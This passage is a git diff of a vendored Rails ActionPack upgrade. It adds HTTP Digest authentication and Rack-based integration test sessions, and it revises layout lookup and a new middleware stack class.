@@ -159,9 +163,9 @@ module ActionController #:nodoc:
       def helper_method(*methods)
         methods.flatten.each do |method|
           master_helper_module.module_eval <<-end_eval
-            def #{method}(*args, &block)
-              controller.send(%(#{method}), *args, &block)
-            end
+            def #{method}(*args, &block)                    # def current_user(*args, &block)
+              controller.send(%(#{method}), *args, &block)  #   controller.send(%(current_user), *args, &block)
+            end                                             # end
           end_eval
         end
       end
@@ -213,8 +217,8 @@ module ActionController #:nodoc:
 
         # Extract helper names from files in app/helpers/**/*.rb
         def all_application_helpers
-          extract = /^#{Regexp.quote(HELPERS_DIR)}\/?(.*)_helper.rb$/
-          Dir["#{HELPERS_DIR}/**/*_helper.rb"].map { |file| file.sub extract, '\1' }
+          extract = /^#{Regexp.quote(helpers_dir)}\/?(.*)_helper.rb$/
+          Dir["#{helpers_dir}/**/*_helper.rb"].map { |file| file.sub extract, '\1' }
         end
     end
   end
diff --git a/vendor/rails/actionpack/lib/action_controller/http_authentication.rb b/vendor/rails/actionpack/lib/action_controller/http_authentication.rb
index 2ed810db..ede279f5 100644
--- a/vendor/rails/actionpack/lib/action_controller/http_authentication.rb
+++ b/vendor/rails/actionpack/lib/action_controller/http_authentication.rb
@@ -1,42 +1,42 @@
 module ActionController
   module HttpAuthentication
     # Makes it dead easy to do HTTP Basic authentication.
-    # 
+    #
     # Simple Basic example:
-    # 
+    #
     #   class PostsController < ApplicationController
     #     USER_NAME, PASSWORD = "dhh", "secret"
-    #   
+    #
     #     before_filter :authenticate, :except => [ :index ]
-    #   
+    #
     #     def index
     #       render :text => "Everyone can see me!"
     #     end
-    #   
+    #
     #     def edit
     #       render :text => "I'm only accessible if you know the password"
     #     end
-    #   
+    #
     #     private
     #       def authenticate
-    #         authenticate_or_request_with_http_basic do |user_name, password| 
+    #         authenticate_or_request_with_http_basic do |user_name, password|
     #           user_name == USER_NAME && password == PASSWORD
     #         end
     #       end
     #   end
-    # 
-    # 
-    # Here is a more advanced Basic example where only Atom feeds and the XML API is protected by HTTP authentication, 
+    #
+    #
+    # Here is a more advanced Basic example where only Atom feeds and the XML API is protected by HTTP authentication,
     # the regular HTML interface is protected by a session approach:
-    # 
+    #
     #   class ApplicationController < ActionController::Base
     #     before_filter :set_account, :authenticate
-    #   
+    #
     #     protected
     #       def set_account
     #         @account = Account.find_by_url_name(request.subdomains.first)
     #       end
-    #   
+    #
     #       def authenticate
     #         case request.format
     #         when Mime::XML, Mime::ATOM
@@ -54,24 +54,55 @@ module ActionController
     #         end
     #       end
     #   end
-    # 
-    # 
+    #
     # In your integration tests, you can do something like this:
-    # 
+    #
     #   def test_access_granted_from_xml
     #     get(
-    #       "/notes/1.xml", nil, 
+    #       "/notes/1.xml", nil,
     #       :authorization => ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
     #     )
-    # 
+    #
     #     assert_equal 200, status
     #   end
-    #  
-    #  
+    #
+    # Simple Digest example:
+    #
+    #   require 'digest/md5'
+    #   class PostsController < ApplicationController
+    #     REALM = "SuperSecret"
+    #     USERS = {"dhh" => "secret", #plain text password
+    #              "dap" => Digest:MD5::hexdigest(["dap",REALM,"secret"].join(":"))  #ha1 digest password
+    #
+    #     before_filter :authenticate, :except => [:index]
+    #
+    #     def index
+    #       render :text => "Everyone can see me!"
+    #     end
+    #
+    #     def edit
+    #       render :text => "I'm only accessible if you know the password"
+    #     end
+    #
+    #     private
+    #       def authenticate
+    #         authenticate_or_request_with_http_digest(REALM) do |username|
+    #           USERS[username]
+    #         end
+    #       end
+    #   end
+    #
+    # NOTE: The +authenticate_or_request_with_http_digest+ block must return the user's password or the ha1 digest hash so the framework can appropriately
+    #       hash to check the user's credentials. Returning +nil+ will cause authentication to fail.
+    #       Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
+    #       the password file or database is compromised, the attacker would be able to use the ha1 hash to
+    #       authenticate as the user at this +realm+, but would not have the user's password to try using at
+    #       other sites.
+    #
     # On shared hosts, Apache sometimes doesn't pass authentication headers to
     # FCGI instances. If your environment matches this description and you cannot
     # authenticate, try this rule in your Apache setup:
-    # 
+    #
     #   RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
     module Basic
       extend self
@@ -99,16 +130,16 @@ module ActionController
       def user_name_and_password(request)
         decode_credentials(request).split(/:/, 2)
       end
-  
+
       def authorization(request)
         request.env['HTTP_AUTHORIZATION']   ||
         request.env['X-HTTP_AUTHORIZATION'] ||
         request.env['X_HTTP_AUTHORIZATION'] ||
         request.env['REDIRECT_X_HTTP_AUTHORIZATION']
       end
-    
+
       def decode_credentials(request)
-        ActiveSupport::Base64.decode64(authorization(request).split.last || '')
+        ActiveSupport::Base64.decode64(authorization(request).split(' ', 2).last || '')
       end
 
       def encode_credentials(user_name, password)
@@ -120,5 +151,159 @@ module ActionController
         controller.__send__ :render, :text => "HTTP Basic: Access denied.\n", :status => :unauthorized
       end
     end
+
+    module Digest
+      extend self
+
+      module ControllerMethods
+        def authenticate_or_request_with_http_digest(realm = "Application", &password_procedure)
+          authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm)
+        end
+
+        # Authenticate with HTTP Digest, returns true or false
+        def authenticate_with_http_digest(realm = "Application", &password_procedure)
+          HttpAuthentication::Digest.authenticate(self, realm, &password_procedure)
+        end
+
+        # Render output including the HTTP Digest authentication header
+        def request_http_digest_authentication(realm = "Application", message = nil)
+          HttpAuthentication::Digest.authentication_request(self, realm, message)
+        end
+      end
+
+      # Returns false on a valid response, true otherwise
+      def authenticate(controller, realm, &password_procedure)
+        authorization(controller.request) && validate_digest_response(controller.request, realm, &password_procedure)
+      end
+
+      def authorization(request)
+        request.env['HTTP_AUTHORIZATION']   ||
+        request.env['X-HTTP_AUTHORIZATION'] ||
+        request.env['X_HTTP_AUTHORIZATION'] ||
+        request.env['REDIRECT_X_HTTP_AUTHORIZATION']
+      end
+
+      # Returns false unless the request credentials response value matches the expected value.
+      # First try the password as a ha1 digest password. If this fails, then try it as a plain
+      # text password.
+      def validate_digest_response(request, realm, &password_procedure)
+        credentials = decode_credentials_header(request)
+        valid_nonce = validate_nonce(request, credentials[:nonce])
+
+        if valid_nonce && realm == credentials[:realm] && opaque == credentials[:opaque]
+          password = password_procedure.call(credentials[:username])
+          return false unless password
+
+          method = request.env['rack.methodoverride.original_method'] || request.env['REQUEST_METHOD']
+          uri    = credentials[:uri][0,1] == '/' ? request.request_uri : request.url
+
+         [true, false].any? do |password_is_ha1|
+           expected = expected_response(method, uri, credentials, password, password_is_ha1)
+           expected == credentials[:response]
+         end
+        end
+      end
+
+      # Returns the expected response for a request of +http_method+ to +uri+ with the decoded +credentials+ and the expected +password+
+      # Optional parameter +password_is_ha1+ is set to +true+ by default, since best practice is to store ha1 digest instead
+      # of a plain-text password.
+      def expected_response(http_method, uri, credentials, password, password_is_ha1=true)
+        ha1 = password_is_ha1 ? password : ha1(credentials, password)
+        ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(':'))
+        ::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(':'))
+      end
+
+      def ha1(credentials, password)
+        ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(':'))
+      end
+
+      def encode_credentials(http_method, credentials, password, password_is_ha1)
+        credentials[:response] = expected_response(http_method, credentials[:uri], credentials, password, password_is_ha1)
+        "Digest " + credentials.sort_by {|x| x[0].to_s }.inject([]) {|a, v| a << "#{v[0]}='#{v[1]}'" }.join(', ')
+      end
+
+      def decode_credentials_header(request)
+        decode_credentials(authorization(request))
+      end
+
+      def decode_credentials(header)
+        header.to_s.gsub(/^Digest\s+/,'').split(',').inject({}.with_indifferent_access) do |hash, pair|
+          key, value = pair.split('=', 2)
+          hash[key.strip] = value.to_s.gsub(/^"|"$/,'').gsub(/'/, '')
+          hash
+        end
+      end
+
+      def authentication_header(controller, realm)
+        controller.headers["WWW-Authenticate"] = %(Digest realm="#{realm}", qop="auth", algorithm=MD5, nonce="#{nonce}", opaque="#{opaque}")
+      end
+
+      def authentication_request(controller, realm, message = nil)
+        message ||= "HTTP Digest: Access denied.\n"
+        authentication_header(controller, realm)
+        controller.__send__ :render, :text => message, :status => :unauthorized
+      end
+
+      # Uses an MD5 digest based on time to generate a value to be used only once.
+      #
+      # A server-specified data string which should be uniquely generated each time a 401 response is made.
+      # It is recommended that this string be base64 or hexadecimal data.
+      # Specifically, since the string is passed in the header lines as a quoted string, the double-quote character is not allowed.
+      #
+      # The contents of the nonce are implementation dependent.
+      # The quality of the implementation depends on a good choice.
+      # A nonce might, for example, be constructed as the base 64 encoding of
+      #
+      # => time-stamp H(time-stamp ":" ETag ":" private-key)
+      #
+      # where time-stamp is a server-generated time or other non-repeating value,
+      # ETag is the value of the HTTP ETag header associated with the requested entity,
+      # and private-key is data known only to the server.
+      # With a nonce of this form a server would recalculate the hash portion after receiving the client authentication header and
+      # reject the request if it did not match the nonce from that header or
+      # if the time-stamp value is not recent enough. In this way the server can limit the time of the nonce's validity.
+      # The inclusion of the ETag prevents a replay request for an updated version of the resource.
+      # (Note: including the IP address of the client in the nonce would appear to offer the server the ability
+      # to limit the reuse of the nonce to the same client that originally got it.
+      # However, that would break proxy farms, where requests from a single user often go through different proxies in the farm.
+      # Also, IP address spoofing is not that hard.)
+      #
+      # An implementation might choose not to accept a previously used nonce or a previously used digest, in order to
+      # protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for
+      # POST or PUT requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
+      # of this document.
+      #
+      # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
+      # key from the Rails session secret generated upon creation of project. Ensures
+      # the time cannot be modifed by client.
+      def nonce(time = Time.now)
+        t = time.to_i
+        hashed = [t, secret_key]
+        digest = ::Digest::MD5.hexdigest(hashed.join(":"))
+        Base64.encode64("#{t}:#{digest}").gsub("\n", '')
+      end
+
+      # Might want a shorter timeout depending on whether the request
+      # is a PUT or POST, and if client is browser or web service.
+      # Can be much shorter if the Stale directive is implemented. This would
+      # allow a user to use new nonce without prompting user again for their
+      # username and password.
+      def validate_nonce(request, value, seconds_to_timeout=5*60)
+        return false if value.nil?
+        t = Base64.decode64(value).split(":").first.to_i
+        nonce(t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
+      end
+
+      # Opaque based on random generation - but changing each request?
+      def opaque()
+        ::Digest::MD5.hexdigest(secret_key)
+      end
+
+      # Set in /initializers/session_store.rb, and loaded even if sessions are not in use.
+      def secret_key
+        ActionController::Base.session_options[:secret]
+      end
+
+    end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/integration.rb b/vendor/rails/actionpack/lib/action_controller/integration.rb
index fc473c26..b8c9b604 100644
--- a/vendor/rails/actionpack/lib/action_controller/integration.rb
+++ b/vendor/rails/actionpack/lib/action_controller/integration.rb
@@ -1,30 +1,35 @@
-require 'active_support/test_case'
-require 'action_controller/dispatcher'
-require 'action_controller/test_process'
-
 require 'stringio'
 require 'uri'
+require 'active_support/test_case'
+require 'action_controller/rack_lint_patch'
 
 module ActionController
   module Integration #:nodoc:
     # An integration Session instance represents a set of requests and responses
-    # performed sequentially by some virtual user. Becase you can instantiate
+    # performed sequentially by some virtual user. Because you can instantiate
     # multiple sessions and run them side-by-side, you can also mimic (to some
     # limited extent) multiple simultaneous users interacting with your system.
     #
-    # Typically, you will instantiate a new session using IntegrationTest#open_session,
-    # rather than instantiating Integration::Session directly.
+    # Typically, you will instantiate a new session using
+    # IntegrationTest#open_session, rather than instantiating
+    # Integration::Session directly.
     class Session
       include Test::Unit::Assertions
-      include ActionController::Assertions
+      include ActionController::TestCase::Assertions
       include ActionController::TestProcess
 
+      # Rack application to use
+      attr_accessor :application
+
       # The integer HTTP status code of the last request.
       attr_reader :status
 
       # The status message that accompanied the status code of the last request.
       attr_reader :status_message
 
+      # The body of the last request.
+      attr_reader :body
+
       # The URI of the last request.
       attr_reader :path
 
@@ -60,7 +65,8 @@ module ActionController
       end
 
       # Create and initialize a new Session instance.
-      def initialize
+      def initialize(app = nil)
+        @application = app || ActionController::Dispatcher.new
         reset!
       end
 
@@ -79,11 +85,13 @@ module ActionController
 
         self.host        = "www.example.com"
         self.remote_addr = "127.0.0.1"
-        self.accept      = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+        self.accept      = "text/xml,application/xml,application/xhtml+xml," +
+                           "text/html;q=0.9,text/plain;q=0.8,image/png," +
+                           "*/*;q=0.5"
 
         unless defined? @named_routes_configured
           # install the named routes in this session instance.
-          klass = class<<self; self; end
+          klass = class << self; self; end
           Routing::Routes.install_helpers(klass)
 
           # the helpers are made protected by default--we make them public for
@@ -97,7 +105,7 @@ module ActionController
       #
       #   session.https!
       #   session.https!(false)
-      def https!(flag=true)
+      def https!(flag = true)
         @https = flag
       end
 
@@ -122,7 +130,7 @@ module ActionController
       # performed on the location header.
       def follow_redirect!
         raise "not a redirect! #{@status} #{@status_message}" unless redirect?
-        get(interpret_uri(headers['location'].first))
+        get(interpret_uri(headers['location']))
         status
       end
 
@@ -167,17 +175,21 @@ module ActionController
 
       # Performs a GET request with the given parameters.
       #
-      # - +path+: The URI (as a String) on which you want to perform a GET request.
-      # - +parameters+: The HTTP parameters that you want to pass. This may be +nil+,
+      # - +path+: The URI (as a String) on which you want to perform a GET
+      #   request.
+      # - +parameters+: The HTTP parameters that you want to pass. This may
+      #   be +nil+,
       #   a Hash, or a String that is appropriately encoded
-      #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
+      #   (<tt>application/x-www-form-urlencoded</tt> or
+      #   <tt>multipart/form-data</tt>).
       # - +headers+: Additional HTTP headers to pass, as a Hash. The keys will
       #   automatically be upcased, with the prefix 'HTTP_' added if needed.
       #
-      # This method returns an AbstractResponse object, which one can use to inspect
-      # the details of the response. Furthermore, if this method was called from an
-      # ActionController::IntegrationTest object, then that object's <tt>@response</tt>
-      # instance variable will point to the same response object.
+      # This method returns an Response object, which one can use to
+      # inspect the details of the response. Furthermore, if this method was
+      # called from an ActionController::IntegrationTest object, then that
+      # object's <tt>@response</tt> instance variable will point to the same
+      # response object.
       #
       # You can also perform POST, PUT, DELETE, and HEAD requests with +post+,
       # +put+, +delete+, and +head+.
@@ -185,22 +197,26 @@ module ActionController
         process :get, path, parameters, headers
       end
 
-      # Performs a POST request with the given parameters. See get() for more details.
+      # Performs a POST request with the given parameters. See get() for more
+      # details.
       def post(path, parameters = nil, headers = nil)
         process :post, path, parameters, headers
       end
 
-      # Performs a PUT request with the given parameters. See get() for more details.
+      # Performs a PUT request with the given parameters. See get() for more
+      # details.
       def put(path, parameters = nil, headers = nil)
         process :put, path, parameters, headers
       end
 
-      # Performs a DELETE request with the given parameters. See get() for more details.
+      # Performs a DELETE request with the given parameters. See get() for
+      # more details.
       def delete(path, parameters = nil, headers = nil)
         process :delete, path, parameters, headers
       end
 
-      # Performs a HEAD request with the given parameters. See get() for more details.
+      # Performs a HEAD request with the given parameters. See get() for more
+      # details.
       def head(path, parameters = nil, headers = nil)
         process :head, path, parameters, headers
       end
@@ -215,8 +231,7 @@ module ActionController
       def xml_http_request(request_method, path, parameters = nil, headers = nil)
         headers ||= {}
         headers['X-Requested-With'] = 'XMLHttpRequest'
-        headers['Accept'] ||= 'text/javascript, text/html, application/xml, text/xml, */*'
-
+        headers['Accept'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
         process(request_method, path, parameters, headers)
       end
       alias xhr :xml_http_request
@@ -224,7 +239,9 @@ module ActionController
       # Returns the URL for the given options, according to the rules specified
       # in the application's routes.
       def url_for(options)
-        controller ? controller.url_for(options) : generic_url_rewriter.rewrite(options)
+        controller ?
+          controller.url_for(options) :
+          generic_url_rewriter.rewrite(options)
       end
 
       private
@@ -250,17 +267,35 @@ module ActionController
             data = nil
           end
 
+          env["QUERY_STRING"] ||= ""
+
+          data ||= ''
+          data.force_encoding(Encoding::ASCII_8BIT) if data.respond_to?(:force_encoding)
+          data = data.is_a?(IO) ? data : StringIO.new(data)
+
           env.update(
-            "REQUEST_METHOD" => method.to_s.upcase,
+            "REQUEST_METHOD"  => method.to_s.upcase,
+            "SERVER_NAME"     => host,
+            "SERVER_PORT"     => (https? ? "443" : "80"),
+            "HTTPS"           => https? ? "on" : "off",
+            "rack.url_scheme" => https? ? "https" : "http",
+            "SCRIPT_NAME"     => "",
+
             "REQUEST_URI"    => path,
+            "PATH_INFO"      => path,
             "HTTP_HOST"      => host,
             "REMOTE_ADDR"    => remote_addr,
-            "SERVER_PORT"    => (https? ? "443" : "80"),
             "CONTENT_TYPE"   => "application/x-www-form-urlencoded",
             "CONTENT_LENGTH" => data ? data.length.to_s : nil,
             "HTTP_COOKIE"    => encode_cookies,
-            "HTTPS"          => https? ? "on" : "off",
-            "HTTP_ACCEPT"    => accept
+            "HTTP_ACCEPT"    => accept,
+
+            "rack.version"      => [0,1],
+            "rack.input"        => data,
+            "rack.errors"       => StringIO.new,
+            "rack.multithread"  => true,
+            "rack.multiprocess" => true,
+            "rack.run_once"     => false
           )
 
           (headers || {}).each do |key, value|
@@ -269,54 +304,62 @@ module ActionController
             env[key] = value
           end
 
-          unless ActionController::Base.respond_to?(:clear_last_instantiation!)
-            ActionController::Base.module_eval { include ControllerCapture }
+          [ControllerCapture, ActionController::ProcessWithTest].each do |mod|
+            unless ActionController::Base < mod
+              ActionController::Base.class_eval { include mod }
+            end
           end
 
           ActionController::Base.clear_last_instantiation!
 
-          env['rack.input'] = data.is_a?(IO) ? data : StringIO.new(data || '')
-          @status, @headers, result_body = ActionController::Dispatcher.new.mark_as_test_request!.call(env)
+          app = Rack::Lint.new(@application)
+          status, headers, body = app.call(env)
           @request_count += 1
 
-          @controller = ActionController::Base.last_instantiation
-          @request = @controller.request
-          @response = @controller.response
-
-          # Decorate the response with the standard behavior of the TestResponse
-          # so that things like assert_response can be used in integration
-          # tests.
-          @response.extend(TestResponseBehavior)
-
           @html_document = nil
 
-          # Inject status back in for backwords compatibility with CGI
-          @headers['Status'] = @status
+          @status = status.to_i
+          @status_message = StatusCodes::STATUS_CODES[@status]
 
-          @status, @status_message = @status.split(/ /)
-          @status = @status.to_i
+          @headers = Rack::Utils::HeaderHash.new(headers)
 
-          cgi_headers = Hash.new { |h,k| h[k] = [] }
-          @headers.each do |key, value|
-            cgi_headers[key.downcase] << value
-          end
-          cgi_headers['set-cookie'] = cgi_headers['set-cookie'].first
-          @headers = cgi_headers
-
-          @response.headers['cookie'] ||= []
-          (@headers['set-cookie'] || []).each do |cookie|
+          (@headers['Set-Cookie'] || "").split("\n").each do |cookie|
             name, value = cookie.match(/^([^=]*)=([^;]*);/)[1,2]
             @cookies[name] = value
-
-            # Fake CGI cookie header
-            # DEPRECATE: Use response.headers["Set-Cookie"] instead
-            @response.headers['cookie'] << CGI::Cookie::new("name" => name, "value" => value)
           end
 
-          return status
+          @body = ""
+          if body.respond_to?(:to_str)
+            @body << body
+          else
+            body.each { |part| @body << part }
+          end
+
+          if @controller = ActionController::Base.last_instantiation
+            @request = @controller.request
+            @response = @controller.response
+            @controller.send(:set_test_assigns)
+          else
+            # Decorate responses from Rack Middleware and Rails Metal
+            # as an Response for the purposes of integration testing
+            @response = Response.new
+            @response.status = status.to_s
+            @response.headers.replace(@headers)
+            @response.body = @body
+          end
+
+          # Decorate the response with the standard behavior of the
+          # TestResponse so that things like assert_response can be
+          # used in integration tests.
+          @response.extend(TestResponseBehavior)
+
+          return @status
         rescue MultiPartNeededException
           boundary = "----------XnJLe9ZIbbGUYtzPQJ16u1"
-          status = process(method, path, multipart_body(parameters, boundary), (headers || {}).merge({"CONTENT_TYPE" => "multipart/form-data; boundary=#{boundary}"}))
+          status = process(method, path,
+            multipart_body(parameters, boundary),
+            (headers || {}).merge(
+              {"CONTENT_TYPE" => "multipart/form-data; boundary=#{boundary}"}))
           return status
         end
 
@@ -338,7 +381,7 @@ module ActionController
             "SERVER_PORT"    => https? ? "443" : "80",
             "HTTPS"          => https? ? "on" : "off"
           }
-          ActionController::UrlRewriter.new(ActionController::RackRequest.new(env), {})
+          UrlRewriter.new(Request.new(env), {})
         end
 
         def name_with_prefix(prefix, name)
@@ -352,9 +395,13 @@ module ActionController
             raise MultiPartNeededException
           elsif Hash === parameters
             return nil if parameters.empty?
-            parameters.map { |k,v| requestify(v, name_with_prefix(prefix, k)) }.join("&")
+            parameters.map { |k,v|
+              requestify(v, name_with_prefix(prefix, k))
+            }.join("&")
           elsif Array === parameters
-            parameters.map { |v| requestify(v, name_with_prefix(prefix, "")) }.join("&")
+            parameters.map { |v|
+              requestify(v, name_with_prefix(prefix, ""))
+            }.join("&")
           elsif prefix.nil?
             parameters
           else
@@ -365,7 +412,7 @@ module ActionController
         def multipart_requestify(params, first=true)
           returning Hash.new do |p|
             params.each do |key, value|
-              k = first ? CGI.escape(key.to_s) : "[#{CGI.escape(key.to_s)}]"
+              k = first ? key.to_s : "[#{key.to_s}]"
               if Hash === value
                 multipart_requestify(value, false).each do |subkey, subvalue|
                   p[k + subkey] = subvalue
@@ -380,7 +427,7 @@ module ActionController
         def multipart_body(params, boundary)
           multipart_requestify(params).map do |key, value|
             if value.respond_to?(:original_filename)
-              File.open(value.path) do |f|
+              File.open(value.path, "rb") do |f|
                 f.set_encoding(Encoding::BINARY) if f.respond_to?(:set_encoding)
 
                 <<-EOF
@@ -432,6 +479,11 @@ EOF
     end
 
     module Runner
+      def initialize(*args)
+        super
+        @integration_session = nil
+      end
+
       # Reset the current session. This is useful for testing multiple sessions
       # in a single test case.
       def reset!
@@ -460,8 +512,8 @@ EOF
       # By default, a single session is automatically created for you, but you
       # can use this method to open multiple sessions that ought to be tested
       # simultaneously.
-      def open_session
-        session = Integration::Session.new
+      def open_session(application = nil)
+        session = Integration::Session.new(application)
 
         # delegate the fixture accessors back to the test instance
         extras = Module.new { attr_accessor :delegate, :test_result }
@@ -469,12 +521,16 @@ EOF
           self.class.fixture_table_names.each do |table_name|
             name = table_name.tr(".", "_")
             next unless respond_to?(name)
-            extras.__send__(:define_method, name) { |*args| delegate.send(name, *args) }
+            extras.__send__(:define_method, name) { |*args|
+              delegate.send(name, *args)
+            }
           end
         end
 
         # delegate add_assertion to the test case
-        extras.__send__(:define_method, :add_assertion) { test_result.add_assertion }
+        extras.__send__(:define_method, :add_assertion) {
+          test_result.add_assertion
+        }
         session.extend(extras)
         session.delegate = self
         session.test_result = @_result
@@ -495,8 +551,12 @@ EOF
       # Delegate unhandled messages to the current session instance.
       def method_missing(sym, *args, &block)
         reset! unless @integration_session
-        returning @integration_session.__send__(sym, *args, &block) do
-          copy_session_variables!
+        if @integration_session.respond_to?(sym)
+          returning @integration_session.__send__(sym, *args, &block) do
+            copy_session_variables!
+          end
+        else
+          super
         end
       end
     end
@@ -602,7 +662,8 @@ EOF
     # would potentially have to set their values for both Test::Unit::TestCase
     # ActionController::IntegrationTest, since by the time the value is set on
     # TestCase, IntegrationTest has already been defined and cannot inherit
-    # changes to those variables. So, we make those two attributes copy-on-write.
+    # changes to those variables. So, we make those two attributes
+    # copy-on-write.
 
     class << self
       def use_transactional_fixtures=(flag) #:nodoc:
diff --git a/vendor/rails/actionpack/lib/action_controller/layout.rb b/vendor/rails/actionpack/lib/action_controller/layout.rb
index 3631ce86..73fafa63 100644
--- a/vendor/rails/actionpack/lib/action_controller/layout.rb
+++ b/vendor/rails/actionpack/lib/action_controller/layout.rb
@@ -172,16 +172,8 @@ module ActionController #:nodoc:
         @layout_conditions ||= read_inheritable_attribute(:layout_conditions)
       end
 
-      def default_layout(format) #:nodoc:
-        layout = read_inheritable_attribute(:layout)
-        return layout unless read_inheritable_attribute(:auto_layout)
-        @default_layout ||= {}
-        @default_layout[format] ||= default_layout_with_format(format, layout)
-        @default_layout[format]
-      end
-
       def layout_list #:nodoc:
-        Array(view_paths).sum([]) { |path| Dir["#{path}/layouts/**/*"] }
+        Array(view_paths).sum([]) { |path| Dir["#{path.to_str}/layouts/**/*"] }
       end
 
       private
@@ -200,45 +192,43 @@ module ActionController #:nodoc:
         def normalize_conditions(conditions)
           conditions.inject({}) {|hash, (key, value)| hash.merge(key => [value].flatten.map {|action| action.to_s})}
         end
+    end
 
-        def default_layout_with_format(format, layout)
-          list = layout_list
-          if list.grep(%r{layouts/#{layout}\.#{format}(\.[a-z][0-9a-z]*)+$}).empty?
-            (!list.grep(%r{layouts/#{layout}\.([a-z][0-9a-z]*)+$}).empty? && format == :html) ? layout : nil
-          else
-            layout
-          end
-        end
+    def initialize(*args)
+      super
+      @real_format = nil
     end
 
     # Returns the name of the active layout. If the layout was specified as a method reference (through a symbol), this method
     # is called and the return value is used. Likewise if the layout was specified as an inline method (through a proc or method
     # object). If the layout was defined without a directory, layouts is assumed. So <tt>layout "weblog/standard"</tt> will return
     # weblog/standard, but <tt>layout "standard"</tt> will return layouts/standard.
-    def active_layout(passed_layout = nil)
-      layout = passed_layout || self.class.default_layout(default_template_format)
+    def active_layout(passed_layout = nil, options = {})
+      layout = passed_layout || default_layout
+      return layout if layout.respond_to?(:render)
+
       active_layout = case layout
-        when String then layout
         when Symbol then __send__(layout)
         when Proc   then layout.call(self)
+        else layout
       end
 
-      # Explicitly passed layout names with slashes are looked up relative to the template root,
-      # but auto-discovered layouts derived from a nested controller will contain a slash, though be relative
-      # to the 'layouts' directory so we have to check the file system to infer which case the layout name came from.
-      if active_layout
-        if active_layout.include?('/') && ! layout_directory?(active_layout)
-          active_layout
-        else
-          "layouts/#{active_layout}"
-        end
-      end
+      find_layout(active_layout, default_template_format, options[:html_fallback]) if active_layout
     end
 
     private
-      def candidate_for_layout?(options)
-        options.values_at(:text, :xml, :json, :file, :inline, :partial, :nothing, :update).compact.empty? &&
-          !@template.__send__(:_exempt_from_layout?, options[:template] || default_template_name(options[:action]))
+      def default_layout #:nodoc:
+        layout = self.class.read_inheritable_attribute(:layout)
+        return layout unless self.class.read_inheritable_attribute(:auto_layout)
+        find_layout(layout, default_template_format)
+      rescue ActionView::MissingTemplate
+        nil
+      end
+
+      def find_layout(layout, format, html_fallback=false) #:nodoc:
+        view_paths.find_template(layout.to_s =~ /\A\/|layouts\// ? layout : "layouts/#{layout}", format, html_fallback)
+      rescue ActionView::MissingTemplate
+        raise if Mime::Type.lookup_by_extension(format.to_s).html?
       end
 
       def pick_layout(options)
@@ -247,9 +237,9 @@ module ActionController #:nodoc:
           when FalseClass
             nil
           when NilClass, TrueClass
-            active_layout if action_has_layout? && !@template.__send__(:_exempt_from_layout?, default_template_name)
+            active_layout if action_has_layout? && candidate_for_layout?(:template => default_template_name)
           else
-            active_layout(layout)
+            active_layout(layout, :html_fallback => true)
           end
         else
           active_layout if action_has_layout? && candidate_for_layout?(options)
@@ -271,14 +261,26 @@ module ActionController #:nodoc:
         end
       end
 
-      def layout_directory?(layout_name)
-        @template.__send__(:_pick_template, "#{File.join('layouts', layout_name)}.#{@template.template_format}") ? true : false
+      def candidate_for_layout?(options)
+        template = options[:template] || default_template(options[:action])
+        if options.values_at(:text, :xml, :json, :file, :inline, :partial, :nothing, :update).compact.empty?
+          begin
+            template_object = self.view_paths.find_template(template, default_template_format)
+            # this restores the behavior from 2.2.2, where response.template.template_format was reset
+            # to :html for :js requests with a matching html template.
+            # see v2.2.2, ActionView::Base, lines 328-330
+            @real_format = :html if response.template.template_format == :js && template_object.format == "html"
+            !template_object.exempt_from_layout?
+          rescue ActionView::MissingTemplate
+            true
+          end
+        end
       rescue ActionView::MissingTemplate
         false
       end
 
       def default_template_format
-        response.template.template_format
+        @real_format || response.template.template_format
       end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb b/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb
new file mode 100644
index 00000000..b739a6d7
--- /dev/null
+++ b/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb
@@ -0,0 +1,119 @@
+module ActionController
+  class MiddlewareStack < Array
+    class Middleware
+      def self.new(klass, *args, &block)
+        if klass.is_a?(self)
+          klass
+        else
+          super
+        end
+      end
+
+      attr_reader :args, :block
+
+      def initialize(klass, *args, &block)
+        @klass = klass
+
+        options = args.extract_options!
+        if options.has_key?(:if)
+          @conditional = options.delete(:if)
+        else
+          @conditional = true
+        end
+        args << options unless options.empty?
+
+        @args = args
+        @block = block
+      end
+
+      def klass
+        if @klass.respond_to?(:call)
+          @klass.call
+        elsif @klass.is_a?(Class)
+          @klass
+        else
+          @klass.to_s.constantize
+        end
+      rescue NameError
+        @klass
+      end
+
+      def active?
+        return false unless klass
+
+        if @conditional.respond_to?(:call)
+          @conditional.call
+        else
+          @conditional
+        end
+      end
+
+      def ==(middleware)
+        case middleware
+        when Middleware
+          klass == middleware.klass
+        when Class
+          klass == middleware
+        else
+          klass == middleware.to_s.constantize
+        end
+      end
+
+      def inspect
+        str = klass.to_s
+        args.each { |arg| str += ", #{arg.inspect}" }
+        str
+      end
+
+      def build(app)
+        if block
+          klass.new(app, *build_args, &block)
+        else
+          klass.new(app, *build_args)
+        end
+      end
+
+      private
+
+        def build_args
+          Array(args).map { |arg| arg.respond_to?(:call) ? arg.call : arg }
+        end
+    end
+
+    def initialize(*args, &block)
+      super(*args)
+      block.call(self) if block_given?
+    end
+
+    def insert(index, *args, &block)
+      index = self.index(index) unless index.is_a?(Integer)
+      middleware = Middleware.new(*args, &block)
+      super(index, middleware)
+    end
+
+    alias_method :insert_before, :insert
+
+    def insert_after(index, *args, &block)
+      index = self.index(index) unless index.is_a?(Integer)
